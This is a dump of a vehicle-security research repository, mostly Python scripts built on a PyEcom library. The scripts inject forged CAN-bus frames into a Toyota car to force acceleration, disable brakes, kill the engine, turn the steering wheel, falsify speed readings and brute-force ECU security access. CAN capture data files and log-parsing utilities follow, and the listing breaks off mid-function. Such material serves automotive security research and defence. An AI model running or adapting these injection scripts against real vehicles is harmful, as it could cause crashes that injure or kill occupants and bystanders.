79 |
80 | Document
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 | Document
95 |
96 |
97 | Document
98 |
99 |
100 |
101 |
102 |
103 |
--------------------------------------------------------------------------------
/code/ecomcat_api/toyota_accelerate.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | from ctypes import *
4 | import time, struct
5 |
6 | if __name__ == "__main__":
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,37436)
9 |
10 | #SFFLINE = "IDH: 00, IDL: 37, Len: 07, Data: C2 13 52 03 AC 00 14"
11 | #SFFLINE = "IDH: 00, IDL: 37, Len: 07, Data: C8 FE 58 13 E4 00 53"
12 | SFFLINE = "IDH: 00, IDL: 37, Len: 07, Data: C6 13 18 0E ED 00 2A"
13 |
14 | SFFArray = SFFMessage * 1
15 | SFFS = SFFArray()
16 |
17 | ecom.mydll.DbgLineToSFF(SFFLINE, pointer(SFFS[0]))
18 |
19 | ecom.mydll.FixChecksum(pointer(SFFS[0]))
20 |
21 | while(1):
22 | ecom.mydll.write_message(ecom.handle, pointer(SFFS[0]))
23 | #time.sleep(.0003)
24 |
25 | NOCHECK = 1
26 |
27 | while 1:
28 |
29 | #read_by_wid = ecom.mydll.read_message_by_wid_with_timeout
30 | #read_by_wid.restype = POINTER(SFFMessage)
31 | #sff_resp = ecom.mydll.read_message_by_wid_with_timeout(ecom.handle, 0x0037, 1000)
32 |
33 | #if(sff_resp[0].data[0] == 0xC2):
34 | # SFFS[0] = sff_resp[0]
35 | # break
36 |
37 | #increment two bytes
38 | X1 = SFFS[0].data[0]
39 | X2 = SFFS[0].data[1]
40 | if (X2 == 0xFF):
41 | if (X1 < 0xC9):
42 | X1 += 1
43 |
44 | #X2
45 | X2 += 1 & 0xFF
46 |
47 | SFFS[0].data[0] = X1
48 | SFFS[0].data[1] = X2
49 |
50 | for _ in range(0, 2):
51 | Y1 = SFFS[0].data[3]
52 | Y2 = SFFS[0].data[4]
53 | if (Y2 == 0xFF):
54 | if (Y1 < 0xFF):
55 | Y1 += 1
56 |
57 | #Y2
58 | Y2 += 1 & 0xFF
59 |
60 | SFFS[0].data[3] = Y1
61 | SFFS[0].data[4] = Y2
62 | ecom.mydll.PrintSFF(pointer(SFFS[0]), 0)
63 |
64 | ecom.mydll.FixChecksum(pointer(SFFS[0]))
65 |
66 | ecom.mydll.write_message(ecom.handle, pointer(SFFS[0]))
67 | #time.sleep(.005)
68 |
--------------------------------------------------------------------------------
/code/ecomcat_api/toyota_brake_immobilizer.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | from ctypes import *
4 | import time, struct
5 |
6 | if __name__ == "__main__":
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,37440)
9 |
10 | brake_sff_str = "IDH: 02, IDL: 83, Len: 07, Data: 61 00 E0 BE 8C 00 17"
11 | brake_sff = SFFMessage()
12 | ecom.mydll.DbgLineToSFF(brake_sff_str, pointer(brake_sff))
13 |
14 |
15 | print("Starting to send msgs")
16 | while(1):
17 | brake_sff.data[0] += 1 & 0x7F
18 | ecom.mydll.FixChecksum(pointer(brake_sff))
19 | #ecom.mydll.PrintSFF(pointer(brake_sff), 0)
20 | ecom.mydll.write_message(ecom.handle, pointer(brake_sff))
21 | time.sleep(.001)
22 |
--------------------------------------------------------------------------------
/code/ecomcat_api/toyota_cracker.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | import time, struct, sys
4 |
5 | if __name__ == "__main__":
6 |
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(0,1)
9 |
10 | ECU = 0x7E0
11 |
12 | #Is CPU?
13 | ret = ecom.send_iso_tp_data(ECU, [0x09, 0x00])
14 |
15 | #Get Calibration IDs
16 | ret = ecom.send_iso_tp_data(ECU, [0x09, 0x04])
17 |
18 | #????
19 | ret = ecom.send_iso_tp_data(ECU, [0x13, 0x80])
20 |
21 | #Get VIN
22 | ret = ecom.send_iso_tp_data(ECU, [0x09, 0x04])
23 |
24 | ret = ecom.security_access(ECU)
25 | if ret:
26 | print("[*] [0x%04X] Security Access: Success" % (ECU))
27 |
28 | #Unsure but this happens 3x in the capture before diag programming mode
29 | #I think this may have to do w/ tellin other ECUs the one being reprogrammed
30 | #is going offline for a while and DO NOT set DTC codes
31 | for _ in range(0, 3):
32 | ret = ecom.send_iso_tp_data(0x720, [0xA0, 0x27])
33 |
34 | ret = ecom.diagnostic_session(ECU, [0x10, 0x02])
35 | if ret:
36 | print("[*] [0x%04X] Programming Mode: Success" % (ECU))
37 |
38 | ecom.send_iso_tp_data(0x01, [0x00])
39 | ecom.send_iso_tp_data(0x01, [0x00])
40 |
41 | #This is the 'LocationID' see: T-0052-11.cuw
42 | ecom.send_iso_tp_data(0x01, [0x20, 0x07, 0x01, 0x00, 0x02, 0x00])
43 | ecom.send_iso_tp_data(0x01, [0x07, 0x00])
44 |
45 | f = open("toyota_ecu.bin", "rb")
46 |
47 | while True:
48 | chunk = f.read(4)
49 | if not chunk:
50 | break
51 |
52 | p1 = ord(chunk[0])
53 | p2 = ord(chunk[1])
54 | p3 = ord(chunk[2])
55 | p4 = ord(chunk[3])
56 |
57 | if ecu_version := ecom.send_iso_tp_data(0x01, [p1, p2, p3, p4]):
58 | print("FOUND MAGIC: %02X %02X %02X %02X" % (p1,p2,p3,p4))
59 | break
60 |
61 | close(f)
62 |
--------------------------------------------------------------------------------
/code/ecomcat_api/toyota_ecm.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/toyota_ecm.bin
--------------------------------------------------------------------------------
/code/ecomcat_api/toyota_kill_engine.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | import time, struct
4 |
5 | if __name__ == "__main__":
6 | #print "[*] Starting diagnostics check..."
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,35916)
9 |
10 | ECU = 0x7E0
11 |
12 | #do security access
13 | ret = ecom.security_access(ECU)
14 | if ret == False:
15 | print("[!] [0x%04X] Security Access: FAILURE" % (ECU))
16 | else:
17 | print("[*] [0x%04X] Security Access: Success" % (ECU))
18 |
19 | #Unsure but this happens 3x in the capture before diag programming mode
20 | #I think this may have to do w/ tellin other ECUs the one being reprogrammed
21 | #is going offline for a while and DO NOT set DTC codes
22 | for _ in range(0, 3):
23 | ret = ecom.send_iso_tp_data(0x720, [0xA0, 0x27])
24 |
25 | ret = ecom.diagnostic_session(ECU, [0x10, 0x02])
26 | if ret == False:
27 | print("[!] [0x%04X] Programming Mode: FAILURE" % (ECU))
28 | else:
29 | print("[*] [0x%04X] Programming Mode: Sucess" % (ECU))
30 |
31 | for _ in range(0, 10):
32 | ecom.send_iso_tp_data(0x7E0, [0x30, 0x1C, 0x00, 0x0F, 0xA5, 0x01])
33 |
34 |
--------------------------------------------------------------------------------
/code/ecomcat_api/toyota_lka_wheel_turn_clockwise.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | from ctypes import *
4 | import time, struct
5 |
6 | if __name__ == "__main__":
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,35916)
9 |
10 | #Changed data[3] (0x80) to 0x40 if you want beeping
11 | SFFLINE = "IDH: 02, IDL: E4, Len: 05, Data: 80 FB 00 80 E6"
12 |
13 | SFFArray = SFFMessage * 1
14 | SFFS = SFFArray()
15 |
16 | ecom.mydll.DbgLineToSFF(SFFLINE, pointer(SFFS[0]))
17 |
18 | while(1):
19 | SFFS[0].data[0] += 1 & 0xFF;
20 | SFFS[0].data[0] |= 0x80;
21 | ecom.mydll.FixChecksum(pointer(SFFS[0]))
22 |
23 | #ecom.mydll.PrintSFF(pointer(SFFS[0]), 0)
24 | ecom.mydll.write_message(ecom.handle, pointer(SFFS[0]))
25 |
--------------------------------------------------------------------------------
/code/ecomcat_api/toyota_lka_wheel_turn_counterclockwise.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | from ctypes import *
4 | import time, struct
5 |
6 | if __name__ == "__main__":
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,37440)
9 |
10 | #Changed data[3] (0x80) to 0x40 if you want beeping
11 | SFFLINE = "IDH: 02, IDL: E4, Len: 05, Data: 80 05 00 80 F0"
12 |
13 | SFFArray = SFFMessage * 1
14 | SFFS = SFFArray()
15 |
16 | ecom.mydll.DbgLineToSFF(SFFLINE, pointer(SFFS[0]))
17 |
18 | while(1):
19 | SFFS[0].data[0] += 1 & 0xFF;
20 | SFFS[0].data[0] |= 0x80;
21 | ecom.mydll.FixChecksum(pointer(SFFS[0]))
22 |
23 | #ecom.mydll.PrintSFF(pointer(SFFS[0]), 0)
24 | ecom.mydll.write_message(ecom.handle, pointer(SFFS[0]))
25 |
--------------------------------------------------------------------------------
/code/ecomcat_api/toyota_memory_reader.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | import time, struct
4 |
5 | if __name__ == "__main__":
6 | #print "[*] Starting diagnostics check..."
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,35916)
9 |
10 | #Engine
11 | #ECU = 0x7E0
12 |
13 | #Hybrid/Power Management
14 | #ECU = 0x7E2
15 |
16 | #ABS
17 | ECU = 0x7B0
18 |
19 | ret = ecom.security_access(ECU)
20 |
21 | ret = ecom.request_upload_14229(ECU, 0x01, 0x44, 0x0000F000, 0x00000001)
22 | ret = ecom.request_upload_14229(ECU, 0x01, 0x33, 0x0000F000, 0x00000001)
23 | ret = ecom.request_upload_14229(ECU, 0x01, 0x24, 0x0000F000, 0x00000001)
24 | ret = ecom.request_upload_14229(ECU, 0x01, 0x22, 0x0000F000, 0x00000001)
25 | ret = ecom.request_upload_14229(ECU, 0x01, 0x12, 0x0000F000, 0x00000001)
26 |
27 | ret = ecom.request_upload_14230(ECU, 0x01, 0x0000F000, 0x00000001)
28 |
29 | ret = ecom.read_memory_14229(ECU, 0x44, 0x0000F000, 0x00000001)
30 | ret = ecom.read_memory_14229(ECU, 0x24, 0x0000F000, 0x00000001)
31 | ret = ecom.read_memory_14229(ECU, 0x33, 0x0000F000, 0x00000001)
32 | ret = ecom.read_memory_14229(ECU, 0x12, 0x0000F000, 0x00000001)
33 |
34 | ret = ecom.read_memory_14230(ECU, 0x0000F000, 0x00000001)
35 |
--------------------------------------------------------------------------------
/code/ecomcat_api/toyota_play_capture.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | from ctypes import *
4 | import time, struct
5 |
6 | if __name__ == "__main__":
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,35916)
9 |
10 | LOOPER = 0
11 |
12 | f = open("regular.dat", "r")
13 | sff_lines = f.readlines()
14 |
15 | num_of_sffs = len(sff_lines)
16 | SFFArray = SFFMessage * num_of_sffs
17 | sffs = SFFArray()
18 |
19 | for i in range(0, num_of_sffs):
20 | ecom.mydll.DbgLineToSFF(sff_lines[i], pointer(sffs[i]))
21 |
22 | print("Starting to send wheel msgs")
23 | while(1):
24 | for i in range(0, num_of_sffs):
25 | ecom.mydll.write_message(ecom.handle, pointer(sffs[i]))
26 |
--------------------------------------------------------------------------------
/code/ecomcat_api/toyota_request_seed.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | from ctypes import *
4 | import time, struct
5 |
6 | if __name__ == "__main__":
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,35916)
9 |
10 | #Engine ECU
11 | ECU = 0x7E0
12 |
13 | for i in range(0, 11):
14 | print("Attempt %d" % (i))
15 | resp = ecom.send_iso_tp_data(ECU, ecom.get_security_access_payload(ECU), None)
16 |
17 | if not resp or len(resp) == 0:
18 | print("No Response")
19 |
20 | seed = resp[2] << 24 | resp[3] << 16 | resp[4] << 8 | resp[5]
21 |
22 | #obviously incorrect
23 | key = [0,0,0,0]
24 |
25 | key_data = [0x27, 0x02, key[0], key[1], key[2], key[3]]
26 |
27 | key_resp = ecom.send_iso_tp_data(ECU, key_data, None)
28 | err = ecom.get_error(key_resp)
29 | if err != 0x00:
30 | print(f"Error: {NegRespErrStr(err)}")
31 |
--------------------------------------------------------------------------------
/code/ecomcat_api/toyota_securityaccess_progmode.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | import time, struct, sys
4 |
5 | if __name__ == "__main__":
6 | #print "[*] Starting diagnostics check..."
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,35916)
9 |
10 | ECU = 0x7E0
11 |
12 | #do security access
13 | ret = ecom.security_access(ECU)
14 | if ret == False:
15 | print("[!] [0x%04X] Security Access: FAILURE" % (ECU))
16 | sys.exit(1)
17 |
18 | print("[*] [0x%04X] Security Access: Success" % (ECU))
19 |
20 | #Unsure but this happens 3x in the capture before diag programming mode
21 | #I think this may have to do w/ tellin other ECUs the one being reprogrammed
22 | #is going offline for a while and DO NOT set DTC codes
23 | for _ in range(0, 3):
24 | ret = ecom.send_iso_tp_data(0x720, [0xA0, 0x27])
25 |
26 | #Grequires the to be in half-on state (power on, engine off)
27 | #Failure to be in the required mode will result in diagnostic session failing
28 | ret = ecom.diagnostic_session(ECU, [0x10, 0x02])
29 | if ret == False:
30 | print("[!] [0x%04X] Programming Mode: Failure" % (ECU))
31 | sys.exit(1)
32 |
33 | print("[*] [0x%04X] Programming Mode: Success" % (ECU))
34 |
35 |
36 | ## for ecu_num, ecu_name in PriusECU.iteritems():
37 | ## print "Trying security access for %s" % (ecu_name)
38 | ## #security access
39 | ## ret = ecom.security_access(ecu_num)
40 | ##
41 | ## for ecu_sub_num, ecu_name in PriusMainECU.iteritems():
42 | ## print "Trying security access for %s" % (ecu_name)
43 | ## ret = ecom.security_access(0x750, ecu_sub_num)
44 |
--------------------------------------------------------------------------------
/code/ecomcat_api/toyota_speed_00B4.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | from ctypes import *
4 | import time, struct
5 |
6 | if __name__ == "__main__":
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,37440)
9 |
10 | LOOPER = 0
11 | SETSPEED = 0xFFFF
12 | SFFLINE = "IDH: 00, IDL: B4, Len: 08, Data: 00 00 00 00 00 FF FF BA"
13 |
14 | SFFArray = SFFMessage * 1
15 | SFFS = SFFArray()
16 |
17 | ecom.mydll.DbgLineToSFF(SFFLINE, pointer(SFFS[0]))
18 |
19 | ecom.mydll.PrintSFF(pointer(SFFS[0]), 0)
20 |
21 | if (SETSPEED < 200):
22 | SETSPEED *= 161
23 |
24 | SFFS[0].data[5] = (SETSPEED >> 8) & 0xFF;
25 | SFFS[0].data[6] = SETSPEED & 0xFF;
26 |
27 | ecom.mydll.FixChecksum(pointer(SFFS[0]))
28 |
29 | while(1):
30 | #ecom.mydll.PrintSFF(pointer(SFFS[0]), 0)
31 | ecom.mydll.write_message(ecom.handle, pointer(SFFS[0]))
32 |
--------------------------------------------------------------------------------
/code/ecomcat_api/toyota_speed_00B6.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | from ctypes import *
4 | import time, struct
5 |
6 | if __name__ == "__main__":
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,37440)
9 |
10 | LOOPER = 0
11 | SETSPEED = 62
12 | SFFLINE = "IDH: 00, IDL: B6, Len: 04, Data: 00 00 00 BA"
13 |
14 | SFFArray = SFFMessage * 1
15 | SFFS = SFFArray()
16 |
17 | ecom.mydll.DbgLineToSFF(SFFLINE, pointer(SFFS[0]))
18 |
19 | if (SETSPEED < 200):
20 | SETSPEED *= 161
21 |
22 | SFFS[0].data[0] = (SETSPEED >> 8) & 0xFF;
23 | SFFS[0].data[1] = SETSPEED & 0xFF;
24 |
25 | ecom.mydll.FixChecksum(pointer(SFFS[0]))
26 |
27 | while(1):
28 | #ecom.mydll.PrintSFF(pointer(SFFS[0]), 0)
29 | ecom.mydll.write_message(ecom.handle, pointer(SFFS[0]))
30 |
--------------------------------------------------------------------------------
/code/ecomcat_api/toyota_speed_diag.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | from ctypes import *
4 | import time, struct
5 |
6 | if __name__ == "__main__":
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,37440)
9 |
10 | LOOPER = 0
11 | SETSPEED = 62
12 | SFFLINE = "IDH: 07, IDL: C0, Len: 08, Data: 04 30 01 00 02 00 00 00"
13 |
14 | SFFArray = SFFMessage * 1
15 | SFFS = SFFArray()
16 |
17 | ecom.mydll.DbgLineToSFF(SFFLINE, pointer(SFFS[0]))
18 |
19 | #if(SETSPEED < 200):
20 | # SETSPEED = SETSPEED * 161
21 |
22 | #SFFS[0].data[0] = (SETSPEED >> 8) & 0xFF;
23 | #SFFS[0].data[1] = SETSPEED & 0xFF;
24 |
25 | #ecom.mydll.FixChecksum(pointer(SFFS[0]))
26 |
27 | while(1):
28 | ecom.send_iso_tp_data(0x7C0, [0x30, 0x01, 0x00, 0x08])
29 |
--------------------------------------------------------------------------------
/code/ecomcat_api/toyota_wheel_turn_clockwise.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | from ctypes import *
4 | import time, struct
5 |
6 | if __name__ == "__main__":
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,35916)
9 |
10 | LOOPER = 0
11 |
12 | f = open("wheel.dat", "r")
13 | sff_lines = f.readlines()
14 |
15 | num_of_sffs = len(sff_lines)
16 | SFFArray = SFFMessage * num_of_sffs
17 | sffs = SFFArray()
18 |
19 | for i in range(0, num_of_sffs):
20 | ecom.mydll.DbgLineToSFF(sff_lines[i], pointer(sffs[i]))
21 |
22 | print("Starting to send wheel msgs")
23 | while(1):
24 | for i in range(0, num_of_sffs):
25 | ecom.mydll.write_message(ecom.handle, pointer(sffs[i]))
26 |
27 | time.sleep(.001)
28 |
--------------------------------------------------------------------------------
/code/ecomcat_api/toyota_wheel_turn_counter.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | from ctypes import *
4 | import time, struct
5 |
6 | if __name__ == "__main__":
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,35916)
9 |
10 | f = open("wheel_counter.dat", "r")
11 | sff_lines = f.readlines()
12 |
13 | num_of_sffs = len(sff_lines)
14 | SFFArray = SFFMessage * num_of_sffs
15 | sffs = SFFArray()
16 |
17 | for i in range(0, num_of_sffs):
18 | ecom.mydll.DbgLineToSFF(sff_lines[i], pointer(sffs[i]))
19 |
20 | print("Starting to send wheel msgs")
21 | while(1):
22 | for i in range(0, num_of_sffs):
23 | ecom.mydll.write_message(ecom.handle, pointer(sffs[i]))
24 | time.sleep(.001)
25 |
--------------------------------------------------------------------------------
/code/ecomcat_api/toyoyta_speed_invalidator.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | from ctypes import *
4 | import time, struct
5 |
6 | if __name__ == "__main__":
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,37440)
9 |
10 | LOOPER = 0
11 |
12 | f = open("speed_bad.dat", "r")
13 | sff_lines = f.readlines()
14 |
15 | num_of_sffs = len(sff_lines)
16 | SFFArray = SFFMessage * num_of_sffs
17 | sffs = SFFArray()
18 |
19 | for i in range(0, num_of_sffs):
20 | ecom.mydll.DbgLineToSFF(sff_lines[i], pointer(sffs[i]))
21 |
22 | print("Starting to send msgs")
23 | while(1):
24 | for i in range(0, num_of_sffs):
25 | curr = sffs[i]
26 |
27 | ## if LOOPER == 1:
28 | ## #if curr.IDH == 0x00 and curr.IDL == 0xB4:
29 | ## # curr.data[4] += 1 & 0xFF
30 | ## if curr.IDH == 0x02 and curr.IDL == 0xE4:
31 | ## curr.data[0] += 1 & 0xFF
32 | ## curr.data[0] |= 0x80
33 | ## if curr.IDH == 0x02 and curr.IDL == 0x83:
34 | ## curr.data[0] += 1 & 0x7F
35 | ##
36 | ## ecom.mydll.FixChecksum(pointer(curr))
37 |
38 | #ecom.mydll.PrintSFF(pointer(curr), 0)
39 | ecom.mydll.write_message(ecom.handle, pointer(curr))
40 |
--------------------------------------------------------------------------------
/code/ecomcat_api/wheel.dat:
--------------------------------------------------------------------------------
1 | IDH: 01, IDL: 27, Len: 08, Data: 68 10 00 08 00 12 AE 70
2 | IDH: 02, IDL: 66, Len: 08, Data: 3F 00 30 01 00 00 AC 8C
3 |
--------------------------------------------------------------------------------
/code/ecomcat_api/wheel2.dat:
--------------------------------------------------------------------------------
1 | IDH: 01, IDL: 27, Len: 08, Data: 68 10 00 08 00 12 AE 70
2 | IDH: 02, IDL: 66, Len: 08, Data: 3E AA 10 01 00 00 AC 15
3 |
--------------------------------------------------------------------------------
/code/ecomcat_api/wheel_counter.dat:
--------------------------------------------------------------------------------
1 | IDH: 01, IDL: 27, Len: 08, Data: 68 10 00 08 00 12 AE 70
2 | IDH: 02, IDL: 66, Len: 08, Data: 31 50 30 01 00 00 AC CE
3 |
--------------------------------------------------------------------------------
/code/ecomcat_api/wheel_more.dat:
--------------------------------------------------------------------------------
1 | IDH: 01, IDL: 27, Len: 08, Data: 68 10 00 08 00 12 AE 70
2 | IDH: 02, IDL: 62, Len: 05, Data: 03 04 00 02 72
3 | IDH: 02, IDL: 66, Len: 08, Data: 3E AA 30 01 00 00 AC 35
4 |
--------------------------------------------------------------------------------
/code/scripts/SFF.py:
--------------------------------------------------------------------------------
1 | class SFFMessage:
2 | def __init__(self, line):
3 |
4 | self.wid = 0x0000
5 |
6 | #break out the pieces
7 | pieces = line.split(',')
8 |
9 | if (len(pieces) > 3):
10 | self.idh = pieces[0].split(':')[1].strip()
11 | self.idl = pieces[1].split(':')[1].strip()
12 | self.wid = self.idh + self.idl
13 | self.len = pieces[2].split(':')[1].strip()
14 |
15 | #addition of timestamp require to remove it
16 | data_ts = pieces[3].split(':')[1]
17 | ts_offset = data_ts.find("TS")
18 |
19 | self.data = (
20 | data_ts[:ts_offset].strip()
21 | if (ts_offset != 0)
22 | else data_ts.strip()
23 | )
24 | #if(len(pieces) > 4):
25 | # self.ts = pieces[4].split(':')[1]
26 |
27 | def __repr__(self):
28 | return "IDH: %02X, IDL: %02X, Len: %02X, Data: %s" % (int(self.idh, 16), int(self.idl, 16), int(self.len, 16), self.data)
29 |
30 | def __str__(self):
31 | return "IDH: %02X, IDL: %02X, Len: %02X, Data: %s" % (int(self.idh, 16), int(self.idl, 16), int(self.len, 16), self.data)
32 |
33 | def __cmp__(self, other):
34 | assert isinstance(other, SFFMessage)
35 |
36 | return cmp((self.wid, self.len, self.data), (other.wid, other.len, other.data))
37 |
38 |
--------------------------------------------------------------------------------
/code/scripts/analyze.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | class SFFMessage:
4 | def __init__(self, line):
5 |
6 | self.wid = 0x0000
7 | self.line = line
8 | #break out the pieces
9 | pieces = line.split(',')
10 |
11 | if(len(pieces) > 3):
12 | self.idh = pieces[0].split(':')[1].strip()
13 | self.idl = pieces[1].split(':')[1].strip()
14 | self.wid = self.idh + self.idl
15 | self.len = int(pieces[2].split(':')[1].strip(),16)
16 | self.data = pieces[3].split(':')[1].strip()
17 |
18 | self.data_pieces = self.data.split(' ')
19 | if len(self.data_pieces) != self.len:
20 | print("ERROR - COULDN'T SPLIT DATA")
21 | print(line)
22 | print(self.data)
23 |
24 |
25 | def check_for_msg(msg, print_repeats, verbosity):
26 | global lines
27 | if msg.wid in list(lines.keys()):
28 | # print "existing..."
29 | entry = lines[msg.wid]
30 | if entry['len'] != msg.len:
31 | print("Packet with unexpected length found!")
32 | print(msg.line)
33 | if not print_repeats:
34 | add_msg_to_data(msg)
35 | for x in range(msg.len):
36 | #seen this byte before
37 | if msg.data_pieces[x] not in list(entry[x].keys()):
38 | if verbosity > 0:
39 | print("FOUND DIFFERING BYTE, SLOT %d" % x)
40 | print(list(entry[x].keys()))
41 | print(msg.data_pieces[x])
42 | print(msg.line)
43 | if verbosity == 0:
44 | print(msg.wid)
45 | if not print_repeats:
46 | add_msg_to_data(msg)
47 | else:
48 | print(f"NEW MSG TYPE {msg.wid}")
49 |
50 |
51 | def add_msg_to_data(msg):
52 | global lines
53 | if msg.wid in list(lines.keys()):
54 | # print "existing, add to it"
55 | entry = lines[msg.wid]
56 | if entry['len'] != msg.len:
57 | print("Packet with lengths that don't match found!")
58 | for x in range(msg.len):
59 | #seen this byte before
60 | if msg.data_pieces[x] in list(entry[x].keys()):
61 | entry[x][msg.data_pieces[x]] = entry[x][msg.data_pieces[x]] + 1
62 | # its a new byte
63 | else:
64 | entry[x][msg.data_pieces[x]] = 1
65 | else:
66 | # print "new one, add it"
67 | entry = {'len':msg.len}
68 | for x in range(msg.len):
69 | entry[x] = {msg.data_pieces[x]:1}
70 | lines[msg.wid] = entry
71 |
72 |
73 | def get_data(filename):
74 | fp = open(filename, "r")
75 | for line in fp:
76 | msg = SFFMessage(line)
77 | if(msg.wid != 0):
78 | add_msg_to_data(msg)
79 |
80 | def look_for_different_data(filename, print_repeats, verbosity):
81 | fp = open(filename, "r")
82 | for line in fp:
83 | msg = SFFMessage(line)
84 | if(msg.wid != 0):
85 | check_for_msg(msg, print_repeats, verbosity)
86 |
87 | lines = {}
88 | #get_data("idle.dat")
89 | get_data("idle_s.dat")
90 | look_for_different_data("unlock_nofob_s.dat", False, 1)
91 | #print lines
92 |
--------------------------------------------------------------------------------
/code/scripts/carda12chrislog_win.py:
--------------------------------------------------------------------------------
1 | if __name__ == "__main__":
2 | filename = "ecm_flash_attempt2.in"
3 | f = open(filename)
4 | arr = []
5 | i = 0
6 |
7 | f2 = open(f"{filename}.dat", "w")
8 |
9 | for line in f:
10 | line = line.strip()
11 | pieces = line.split(',')
12 |
13 | can_data = pieces[3]
14 |
15 | idh = can_data[:5].replace(' ', '').strip()
16 | idl = can_data[6:11].replace(' ', '').strip()
17 | data = can_data[12:].strip()
18 |
19 | f2.write("IDH: %02X, IDL: %02X, Len: %02X, Data: %s\n" % (int(idh, 16), int(idl, 16), 8, data))
20 |
--------------------------------------------------------------------------------
/code/scripts/cardaq2chrislog.py:
--------------------------------------------------------------------------------
1 | if __name__ == "__main__":
2 | filename = "cardaq_flash_attemp1.dat"
3 | with open(filename) as f:
4 | arr = []
5 | i = 0
6 | for line in f:
7 | line = line.strip()
8 | if(line.startswith("\__")):
9 | line = line.replace("\__", "").strip()
10 | arr.append(line)
11 |
12 | with open(f"{filename}.cvl", 'w') as f2:
13 | for line in arr:
14 | byte_vals = line.split(' ')
15 | data_len = len(byte_vals) - 4 #this will take out the CAN ID
16 |
17 | data = "".join(f"{b} " for b in byte_vals[4:])
18 | idh = int(byte_vals[2], 16)
19 | idl = int(byte_vals[3], 16)
20 |
21 | if(byte_vals[0] == "00" and byte_vals[1] == "00"):
22 | #print "IDH: %02X, IDL: %02X, Len: %02X, Data: %s" % (idh, idl, data_len, data)
23 | f2.write("IDH: %02X, IDL: %02X, Len: %02X, Data: %s\n" % (idh, idl, data_len, data))
24 | else:
25 | print("29-bit not supported!")
26 |
27 | print("END")
28 |
--------------------------------------------------------------------------------
/code/scripts/cardaq_compare.py:
--------------------------------------------------------------------------------
1 | import sys, getopt
2 | from SFF import SFFMessage
3 |
4 | output = ""
5 |
6 | optlist, args = getopt.getopt(sys.argv[1:], ':o:')
7 | if (len(args) < 2):
8 | print(f"Usage: {sys.argv[0]} [options] ")
9 | sys.exit(1)
10 |
11 | for o, a in optlist:
12 | #output mode to a file
13 | if o == "-o":
14 | output = a
15 |
16 | filea_msgs = []
17 | fileb_msgs = []
18 | fileb_msgs_diff = []
19 | file_a = args[0]
20 | file_b = args[1]
21 |
22 | with open(file_a) as fplock:
23 | for line in fplock:
24 | #msg = SFFMessage(line)
25 | if(line not in filea_msgs):
26 | filea_msgs.append(line)
27 | print("[*] FileA parsed...")
28 |
29 | i = 0
30 | with open(file_b) as fplock:
31 | for line in fplock:
32 | #msg = SFFMessage(line)
33 | if(line not in fileb_msgs):
34 | fileb_msgs.append(line)
35 | print("[*] FilesB parsed...")
36 |
37 | filea_msgs_diff = [msg for msg in filea_msgs if msg not in fileb_msgs]
38 | of = open(output, "w") if (output != "") else None
39 | filea_cnt = "Only %s [%d lines]" % (file_a, len(filea_msgs_diff))
40 | print(filea_cnt)
41 |
42 | if(of):
43 | of.write(filea_cnt + '\n')
44 |
45 | for msg in filea_msgs_diff:
46 | print(msg)
47 | if(of):
48 | of.write(str(msg) + '\n')
49 |
50 | print("\n")
51 | if(of):
52 | of.write('\n')
53 |
54 |
55 | if(of):
56 | of.close()
57 |
--------------------------------------------------------------------------------
/code/scripts/cuw_fixer.py:
--------------------------------------------------------------------------------
1 | import sys, struct, binascii
2 |
3 | filename = "T-0052-11.cuw"
4 |
5 | def FixMotCRC(mot_str):
6 |
7 | if mot_str == "":
8 | return mot_str
9 |
10 | s_type = mot_str[:2]
11 | s_len = int(mot_str[2:4], 16)
12 |
13 | data_checksum = 0 + s_len
14 | #print "SLen: %02X" % (s_len)
15 |
16 | curr_index = 4
17 |
18 | data_end = 2 * 2
19 | if s_type == "S2":
20 | data_end = 3 * 2
21 | elif s_type == "S3":
22 | data_end = 4 * 2
23 | else:
24 | return mot_str
25 |
26 | end_index = curr_index + data_end
27 |
28 | data = mot_str[curr_index:-2]
29 |
30 | #create a checksum
31 | for i in range(0, len(data), 2):
